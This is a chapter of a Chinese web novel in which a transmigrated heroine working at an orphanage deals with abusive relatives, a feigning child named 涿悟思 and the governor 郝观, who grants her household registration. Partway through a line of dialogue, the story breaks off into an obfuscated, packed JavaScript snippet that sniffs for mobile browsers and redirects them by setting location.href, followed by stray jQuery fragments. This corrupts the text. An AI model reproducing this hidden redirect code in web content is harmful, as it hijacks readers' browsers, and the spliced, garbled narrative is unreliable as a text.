4. 拂袖

作品:《绑定慈幼院改造系统后

    龚禧走近,脑袋凑到被玩破的窗前,伸手拨了拨飞得乱七八糟的糊纸,清出个小孔,眉眼低垂,察看里面到底是什么情况。


    “你怎么不看看我,我这里就像能睡得下的样子吗?”抱怨声来。


    “那你让他们过去点儿啊。”


    两个还扎着丫髻的小孩在床上压低声音道。


    “我不敢,反正你自己去说。”左边的男孩翻个身,背对着他,摆出拒绝沟通的架势。


    右边的男孩被挤得紧紧贴在墙上,他艰难地将手从被窝里拔出来,推了推旁边的伙伴:“我怎么去啊……你和他们近,你去说。”


    “哎呀,行了行了。”


    慈幼堂三岁以下的孩子们不分男女住在一起,而三岁往上的,虽分男女,却没有按着年龄划分分配房间。这里每个房间两排睡处,房间不大,挤一挤也就刚好够十来人睡。


    小孩子常睡得四仰八叉,睡着睡着,指不定就谁给了谁一拳,谁踹了谁一脚。这般界定,难免有人要吃亏。


    很明显,眼前这两个寝室里最小的孩子,就成了吃亏的对象。


    “哥,哥。”他伸出一根手指,小心翼翼地戳在明显比他年长不少的少年身上,虽说是戳,那动作却轻得几乎让人感觉不到,他眼神里透着战战兢兢,“你能不能……”


    被呼喊的那个手肘往后一顶,不满道:“烦死了。”


    “啊。”小孩捂住胃,没忍住叫出声。


    龚禧见此,急忙想要进去,行至门前,手刚搭上从门头上垂下来的竹帘。“啪。”一声,一根细细的木杖敲打在上面,若非龚禧极速将手缩回来,只怕现在手上已经有了被鞭下的印子了。


    她面色不善地看向对方,谁料对方却抢先开口:“睡午觉也不安生,欠打!”惊得里头的孩子捂住嘴,不敢再漏出一息声音。


    一时间,颇有种“针掉在地上也能听得见”的意味,龚禧感觉身边的环境都变成空白了。也明白孩子们平日里皮归皮,但这里的女使对他们还是有绝对的威信。


    龚禧不管她是明语暗语还是谜语,道:“这便是你待孩子们的态度?我记得慈幼堂里有一条规矩,就是不得恶劣对……”


    秦至佳不似当日,她呵了声,道:“能活就不错了,谁还会揪着这点事不放,真是。”


    说完就走,跟后面有鬼追她似的。龚禧留在原地:“系统系统。”


    【我在。】


    龚禧心中直犯嘀咕:“涿悟思那小子没事吧?”照他那臭脾气不得被打得青一块紫一块的。


    【“涿悟思”人物查询中……】


    【查询结果:】


    【涿悟思身体完好,并未遭受过皮肉之苦。】


    那她这下就放心了,龚禧叹出一口气,这真是她穿越到这里来的第一个好消息。


    却不知在系统监控看来,涿悟思能装死会扮弱,简直识相得不得了。能屈能伸,妥妥一副人际老油条的样子。啧啧。


    当然,根据《系统与宿主关系规则条例》,这些都是不能告诉宿主的,若向宿主泄露半厘信息,则系统将被销毁。


    龚禧还记着刘管事的话,让她中午检查完每个房间的情况后,立即去管事房找她。砰砰三声,龚禧站在门口等屋内的动静,发出一条经典问候:“管事,在吗?”


    刘管事赶紧两三步迎出来,抓住龚禧手腕把她拉进去:“哎呀,来了进来就是,站在门口做什么,也不怕冷得慌,瞧着手冻的,通红通红,别以为人年轻就无事,要是生了冻疮,那才叫难受呢。”


    来自异世人的关怀,让龚禧心下更暖,随后就听刘管事道:“可巧你来了,要不是有你分担,其他几个今年可得忙坏了,来看看,这是分在你手下的孩子。”


    能当上管事的人说话就是好听,龚禧接过名单,粗略看了一眼,没见着涿悟思的名字。又重新一个个看了两遍,果真是没有。


    “管事。”龚禧开口,“我挺喜欢涿悟思那孩子,从第一眼看就觉得有缘,您看能不能……把他分给我。”


    刘营兰答应得爽快,又犹豫道:“行,只不过其他孩子。”


    其他孩子,龚禧来了这几天,勉强能将有些孩子的脸和他们的名字对上。目前分到她手里的,小的,弱的,事情多的。


    就当这是交换涿悟思的条件罢了。


    第二日早,龚禧边对付碗里的饭,边将想出的对付这些小孩的措施,对同在桌上的刘营兰道:“管事,我看孩子们房里……”


    这时,慈幼堂大门被人踢开,六个膀大腰圆的婆子冲进来。为首的拿着一根竹杖,哐哐在地上狠顿两下,叉着腰就要开口。


    “快,把孩子们赶回屋里去,快点。”刘营兰道。


    她们只能尽最大努力不让孩子们过早接触这些破事。婆子发作道:“我早就说了,你们就是一群蛆,穿我们的吃我们的住我们的,还那么不要脸……”


    艾善女回嘴道:“我们什么时候穿吃你们的了?”


    刘营兰在她身边扒拉,使眼色让她少说几句。婆子道:“我呸,你们身上的,难道不是我们施家前日里捐的,忘本的东西。”


    众人瞬间局促起来,搅着衣角,不知道说什么好。见己方落了下风,秦至佳现在倒是开始一致对外,哪怕对方是素日里互相看不惯的同仁:“你们明明是为了名声惺惺作态,拿来的东西也全都是下下品,一扯就破。”


    婆子口头脏话连篇:“总归我们是出了钱的,衣服破了也是你们自己不爱惜。”


    随即排腿仰天道:“都来看看啊,这世道,出了钱还要被人诟病,收了东西人背后里偷偷嫌弃,哎哟喂。”


    刘营兰站出来,眼神平静:“说吧,这回又是因为什么。”


    婆子听见这话,嚎叫立收,转而骂道:“前几天我就觉得不对劲了,如今想想,还真是你们这里的小贱人。”


    “怎么回事。”


    “州牧府上啊,又出来了一个小公子,如今外头沸沸扬扬的,全说这小公子的生母啊,就出在这慈幼堂。”


    也不知道这婆子在得意什么:“施家的名声,生生让你们给败坏了。”


    龚禧从刘营兰口中知道,慈幼堂背后有州牧,施家的人不敢直接得罪他,但却敢三番五次地来慈幼堂里闹。


    问了缘由,却道是这施家虽家大业大,可人丁也旺,同慈幼堂一样,再多的资源,层层分下来,也就没多少了。这被过世了的施家老夫人划出的慈幼堂,便被最旁枝的施家人惦记上了。他们不敢硬来,顶多在慈幼堂里摔摔打打,扰得大家不得清净,就盼着哪一天闹烦了,慈幼堂众人出走另寻他地才好。


    听见婆子的话,龚禧突然心虚,因为确有此事,最近也只有她和郝观被抓住了。转念一想,她当时可是老老实实独自一人,当是郝观来时不谨慎,才让人给发现了,并非是她连累了慈幼堂。


    这厢,她又理直气壮起来。


    “你们是怎么回事?”清冷却有质感的声音从所有人背后升起。


    婆子膝盖软下去,她怎么这么点背,来两次都让州牧遇见了。


    龚禧望去,撞进另一双眼眸里,她迅速收回视线。郝观站在门口,身形颀长,手里抱着个襁褓。


    对上了,全部都对上了。


    刘营兰想起那晚的声音,也不太能笑得出来,双手递过去接,强撑道:“州牧又来送孩子了。”


    “还不赶紧滚。”郝观后面跟着的护卫对婆子道。郝观抬眼看向刘营兰,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125785|164328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他们可是一直这样,为何不来上报于我。”


    刘营兰道:“州牧事忙,我们怎好用这种琐碎事来劳烦您。”


    郝观尚未应答,一个孩子“啪嗒”摔倒在他的面前。婆子们走后,孩子就被秦女使放出来见过州牧。摔倒的孩子袖子翻上去,露出的胳膊上有大块淤青,脸上手上的刮痕可观。


    啧啧啧啧,这是哪个女使手底下的孩子,怎么会伤成这样,今日州牧在此,她怕是要受责罚了。龚禧同情道。


    见此,郝观蹲下身扶孩子,骨节分明的手捉住孩子稚嫩的胳膊,眉头微锁,周身环绕着低气压:“这是……”


    孩子虚弱地倒在地上,手肘支起身子,借力才轻轻挪动了一下,他的脸慢慢转过来。


    这是……涿、涿悟思。


    龚禧差点捧着脸发出杀猪般的嗥叫,不可置信地瞪大眼睛,抖着手指向他。她才第一天接手,这孩子简直是要置她于死地。


    “系统,系统!”龚禧心底疯狂呼喊,“这到底是怎么回事——你不是说他什么事都没有吗?”


    【对啊,他确实什么事都没有啊(补充:身体上)。】


    “那他这是……”龚禧麻了,这小子这是装的呀。


    管事和其他女使看她的眼神都变了。


    郝观站起身,思索的神情已经不见,瞥了她一眼,语气里藏着隐微难辨的戏谑,道:“出来。”


    龚禧认命,木着脸跟出去。


    想象中的怪罪没有,得了句:“以后好好看管,再不可疏忽大意。”然后一张纸就这么出现在她眼前,龚禧诧异,接过,这竟然是她的户籍。


    龚禧惊喜抬头,多重情绪并着跃入眼帘,被郝观尽收眼底,他咳了声,道:“这里一份,官府一份,都已经办好了。”


    “多谢。”龚禧把正反两面看了又看,折叠这张纸,仔细地揣进怀里,又觉得会被揉皱,遂还是拿在手里方才妥当,学着她人,像模像样地向郝观行了个女子礼。


    龚禧莫名觉得安心,在心中道:“系统,你说这是怎么回事,这个大面瘫怎么突然对我这么好。”


    【不造。】


    “你说他真的是流言中说的那么……吗,我怎么觉得不像啊。”


    郝观听着她的心声,无奈,不是莫名对她好,只是对最初误会她审问她的补偿。他已知她非此世之人,虽用好了几日才勉强接受,但也不想就此把她定义为妖怪。若是将此事呈送上级,也极易引火烧身。恰巧今年朝廷命地方官员重编户籍,这才给了他可乘之机。顺便,再留下她看看,这个异世之人是否有可用之处。


    【当然不是啦,这些孩子都是你玩游戏时风流的产物,只是主系统紊乱,数据产生意识。】


    【系统漏洞指定州牧府门口是刷新点,算来,这个州牧也是受害者。】


    “我、我吗?”龚禧拒绝相信,“怎么可能。”


    【你以为你为什么到这里来,就是让你来纠正此事的,或者说,你的数据孩子们要求你……赎罪】


    赎罪赎罪,又是赎罪。


    “那怎么还有重生黑莲的事?”龚禧质问,“这是附加任务吗?”


    【那么多孩子,有几个会更加特殊难道不是常事吗?风流是因,这些就是果啊。】


    这竟然才是害他深陷流言的真相。郝观气急,上前两步劈手就要夺。龚禧从前天天打字的手速更快,把户籍塞到胸口,歪着头,露出鄙夷的眼神:“你这人怎么这样,给了我,就别想再拿回去了。”


    龚禧略略略略略地跑掉。


    “你、你……哼。”


    郝观在后,气得拂袖。


    “啊!”龚禧踢到门槛,整个身子往前大扑了一下。


    “……”